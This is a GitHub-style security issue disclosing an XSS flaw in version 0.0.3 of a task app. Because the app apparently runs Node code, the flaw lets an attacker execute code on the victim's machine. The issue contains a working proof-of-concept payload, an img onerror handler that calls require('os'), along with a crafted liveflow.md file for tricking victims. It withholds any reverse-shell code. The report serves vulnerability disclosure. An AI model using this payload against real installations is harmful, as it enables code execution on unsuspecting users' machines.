[Security] XSS leading to code execution

[thefLink]

Description A XSS vulnerability exists that leads to arbitrary code execution

Version

• Version 0.0.3
• Tested on: Linux

To reproduce Steps to reproduce the behavior:

1. Create a new task
2. Add this to the details:

<img src="asdf" onerror="var os = require('os'); var hostname = os.platform(); var homedir = os.homedir(); alert('Host:' + hostname + 'directory: ' + homedir);">

3. See the popup

Expected behavior This cross site scripting vulnerability allows an attacker to execute arbitrary code on the victims machine by tricking his victim into opening a crafted liveflow.md that looks like this

# Inbox 
## TODO test_task_1_xxx <img src="asdf" onerror="var os = require('os'); var hostname = os.platform(); var homedir = os.homedir(); alert('Host:' + hostname + 'directory: ' + homedir);">
RANK: 1

In the worst case this will lead to a reverse shell. I am not going to paste the code for the reverse shell here for obvious reasons.

[digitalethics]

@rockiger Could you address this with a new release? It looks like this has not been fixed yet.